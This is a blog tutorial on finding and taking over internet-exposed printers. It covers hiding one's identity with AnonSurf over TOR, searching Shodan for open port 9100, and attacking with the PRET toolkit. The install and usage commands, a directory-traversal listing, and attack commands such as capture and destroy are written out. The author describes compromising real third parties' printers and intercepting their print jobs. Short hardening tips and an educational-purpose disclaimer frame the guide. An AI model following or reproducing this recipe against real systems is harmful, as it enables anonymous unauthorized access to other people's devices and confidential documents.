How to Hack and Exploit Printers in Seconds

2020-02-23 2296 words 11 minutes

Contents

A Step-by-Step walkthrough..! In this article and video, I will show you how to hack and exploit printers. How easy it is to hack, how to get full control, capture, and start sending documents our way. So all future print jobs that are going to come across the printer we’ve connected to which are going to start spooling over.

Why I chose to show you this

Again… I chose to show you this, because it is so incredibly easy to hack printers, and through this hack to get further in systems and can cause incredible damage. Secret documents or whatever.
Here you can find the post about the Security Webcam Hacking As you see this is also incredibly simple to hack.

My goal is to educate people and increase awareness by exposing methods used by real black-hat hackers and show how to secure systems from these hackers.

I feel it as my mission that people and certainly also the companies and governments become aware of the safety risks. How to protect this “In this case the” (Printers) I hope SOMEDAY this will be captured and that much attention will be paid to it.

I will continue to make things like this public..! Because there is a long way to go. As for me, this is only child play.

Who would put a printer on the Internet?

After all, it is not just the normal household that is only at risk with these types of hacks, but as you can possibly imagine, I am also talking here about companies and governments and more that pay little attention to safety. What at a certain point in time can become very “expensive”.

Are you as secure as you think?

When was the last time you changed your computer or the device passwords? Do you have a different password for each? And what about your printer?

It may be hard to believe but less than 2% of printers in use today are intrusion-proof. Most people do not change the default password at installation and giving hackers with this easy access to embedded system data, network information.

The key is to think of all of your devices at home and at work as mini-computers

How to secure your printer

Here are some examples to secure your printer and that you should consider when using a printer that is connected to the internet.

Change the default password of your printer

Change the default password immediately upon printer installation and use a complex and lengthy password.

Check your printers IP addresses

By default you may find that your printer has an external IP address; unless there’s a very good reason for keeping it that way, switch to an internal IP address. For extra security, consider limiting access to a specific LAN or subnet.

Secure your ports

Many printers allow jobs to be submitted to the print queue through SMTP, FTP, Telenet and USB ports. Regrettably, the same protocols and the network ports used to service them can be used by attackers as a means of retrieving documents, data, and information. If you don’t need them, disable them using the Web management interface to cut back the potential for an attack.

Apply the latest firmware updates

Every printer company that cares about security updates the firmware on printers in the wake of any discovered vulnerability. Make sure you always download the latest version from your manufacturer’s website. This may contain fixes for serious security issues or new features that could make your printers more secure.

Tools we install and use for hacking the printers

I will show you how to install Anonsurf on Kali Linux. (This feature is already installed on Parrot OS,) I also show you how to set up and use Shodan Eye, (a tool I made) works very well for these hacks. How it gives added value to use it in this way. How to install and the use of the Printer Exploitation Toolkit (PRET)

Install pip

Before we install the tools, especially if you have just installed a new Linux installation. Make sure that pip is installed.

Python 2.7

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sudo apt install python-pip

For Python 3 is the command:

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sudo apt install python3-pip

Put both commands in one line, this will save you some time

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sudo apt install python-pip python3-pip

As you see both pip install are already done on this PC.

Install AnonSurf

What is AnonSurf

Being anonymous for a hacker is the first step before hacking a system. Anonymizing a system in an ideal way is not an easy thing.

Always remember that no one can perfectly anonymize a system.

Anonsurf is a tool that will help you stay anonymous by routing every packet through the TOR relay. When you use Anonsurf for ethical hacking, all the traffic from your system goes through a TOR proxy server due to which your IP address is changed.

How to install AnonSurf on Kali Linux

A part of ParrotSec’s stealth and anonsurf modules to Kali Linux
This repo contains the sources of both the anonsurf and pandora packages from ParrotSec combined into one.

Install:

This package comes with an installer that makes things extremely easy

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sudo git clone https://github.com/Und3rf10w/kali-anonsurf.git

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cd kali-anonsurf

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sudo ./installer.sh

Parrot AnonSurf Module Usage:

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start - Start system-wide anonymous
        tunneling under TOR proxy through iptables      
stop - Reset original iptables settings
       and return to clear navigation
restart - Combines "stop" and "start" options
change - Changes identity restarting TOR
status - Check if AnonSurf is working properly
myip - Show your current IP address

----[ I2P related features ]----
starti2p - Start i2p services
stopi2p - Stop i2p services

sudo anonsurf start

Anonsurf on Parrot OS

" Dance like no one’s watching
Encrypt like everyone is "

DNS Leaks test to see if you are anonymous

After the AnonSurf installation, you can find out if you are anonymous, true this link. DNS leak test
This is a simple but very effective way to find out.

What is a DNS leak?

DNS Leaks test hack and exploit printers

Shodan Eye

Shodan Eye is a tool I make in python3. This tool can find every device that is connected to the internet. For more information about Shodan Eye, you can follow click here.

Install

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git clone https://github.com/BullsEye0/shodan-eye.git

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cd shodan-eye

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pip3 install -r requirements.txt

How to use Shodan Eye

(You will be asked for a Shodan API key)

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python3 shodan_eye.py

A Shodan API key can be found here: https://account.shodan.io/register

Printer Exploitation Toolkit (PRET)

Is your printer secure? Check before someone else does…

Hack and exploit printers

The main idea of PRET is to facilitate communication between the end-user and the printer. Thus, after entering a UNIX-like command, PRET translates it to PostScript, PJL or PCL, sends it to the printer, evaluates the result and translates it back to a user-friendly format. PRET offers a whole bunch of commands useful for printer attacks and fuzzing.

Installation PRET

PRET only requires a Python2 interpreter. For colored output and SNMP support however, third party modules need to be installed:

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sudo pip install colorama pysnmp

If running on a Windows console and Unicode characters are not displayed correctly, install the win_unicode_console module:

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pip install win_unicode_console

For experimental, ‘driverless’ printing (see print command), ImageMagick and GhostScript need to be installed:

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sudo apt install imagemagick ghostscript

If you have installed all of this then install the tool

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git clone https://github.com/RUB-NDS/PRET.git

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cd PRET

Example usage PRET:

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sudo python pret.py laserjet.lan ps

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sudo python pret.py /dev/usb/lp0 pjl

pret -h printer hack and exploit printers

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./pret.py laserjet.lan pjl

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$ ./pret.py laserjet.lan pjl
      ________________
    _/_______________/|
   /___________/___//||   PRET | Printer Exploitation Toolkit v0.25
  |===        |----| ||    by Jens Mueller <jens.a.mueller@rub.de>
  |           |   ô| ||
  |___________|   ô| ||
  | ||/.´---.||    | ||        「 cause your device can be
  |-||/_____\||-.  | |´           more fun than paper jams 」
  |_||=L==H==||_|__|/

     (ASCII art by
     Jan Foerster)

Connection to laserjet.lan established
Device:   hp LaserJet 4250

Welcome to the pret shell. Type help or ? to list commands.
laserjet.lan:/> help

Available commands (type help <topic>):
=======================================
append  debug    edit    free  id    ls       open      restart   timeout  
cat     delete   env     fuzz  info  mirror   printenv  selftest  touch    
cd      df       exit    get   load  mkdir    put       set       traversal
chvol   disable  find    help  lock  nvram    pwd       site      unlock   
close   display  format  hold  loop  offline  reset     status    version  

laserjet.lan:/> ls ../../
-      834   .profile
d        -   bin
d        -   dev
d        -   etc
d        -   hp
d        -   hpmnt
-     1276   init
d        -   lib
d        -   pipe
d        -   tmp
laserjet.lan:/> exit

A list of generic PRET commands is given below:

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help      List available commands or get detailed help with 'help cmd'.
debug     Enter debug mode. Use 'hex' for hexdump:  debug [hex]
load      Run commands from file:  load cmd.txt
loop      Run command for multiple arguments:  loop <cmd> <arg1> <arg2> …
open      Connect to remote device:  open <target>
close     Disconnect from device.
timeout   Set connection timeout:  timeout <seconds>
discover  Discover local printer devices via SNMP.
print     Print image file or raw text:  print <file>|"text"
site      Execute custom command on printer:  site <command>
exit      Exit the interpreter.

For further explanation about PRET, I want to refer you to the GitHub page because there is a lot to find about this amazing tool.!

Before I continue, I want to mention the Disclaimer. Read this carefully..!

Hack and Exploit Printers

After all the tools have been installed, we can start searching for vulnerable printers. As I have already made clear, there is an incredible number of printers that can be hacked, which can simply be found on the internet - with all the data you are looking for.

port 9100 = the default port for printers

TCP port 9100 is commonly used by printer manufacturers to provide a raw TCP port for data. Traditionally, printing over TCP/IP has been achieved using LPR (Line Printer Remote) which operates on TCP Port 515 and uses particular commands according to the protocol.

Some vulnerable printers

HP Color LastJet Pro MFP M281fdw
Xerox Phaser 3320
Brother HL-L8360CDW
Kyocera Ecosys M5526cdw

If you continue searching, you would find many more vulnerable printers.

Because “It’s all public” Already..!

For this search I use a simple search, this shows all devices and printers that are connected to this port.

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port:9100 pjl

Search with Shodan Eye

Search with Shodan

Furthermore, I like to mention that you also can do a simple Shodan search for the printers. As you can see, the outcome is much limited as the Shodan Eye tool.

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sudo shodan search port:9100 pjl

Shodan search for How To Hack and Exploit Printers

How I easy hack some printers in a few seconds

As you can see in the image below, I have already a lot of information here.

I can do what I want with this printer. And some more ..!

In this last screenshot of a hacked printer, I like the fact that I can personalize the printer. “I won’t” Because this is only for showing how easy it is to hack almost every printer. Or does your printer belong to the 2% I talked about? .. But even then… Hack and exploit printers.

Using PRET and exploit the printer

Here I have exploited the printer (The one above) in a simple way, also within a few seconds.

You now see what is possible. If I want all the prints that will be made in the future, on this printer, then that can be done in a very simple way.

Available commands

append date discover get loop put set version
capture debug dump hang ls pwd shell
cat delete edit help mirror rename site
cd destroy exit hold mkdir replace timeout
chvol devices find id open reset touch
close df format known overlay resource traversal
config dicts free load pagecount restart unlock
cross disable fuzz lock print search uptime

Video

In this video, I show you how to install Anonsurf, Shodan Eye, and Printer Exploitation Toolkit (PRET). I show you how to search for vulnerable printers. What I don’t show you is “How to Exploit them” How this is done you read in the text above.

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IMPORTANT THINGS TO REMEMBER

✓ This Video and Article is made for educational purposes and pentest only.

✓ You will not misuse the information to gain unauthorized access.

✓ This information shall only be used to expand knowledge and not for causing malicious or damaging attacks…!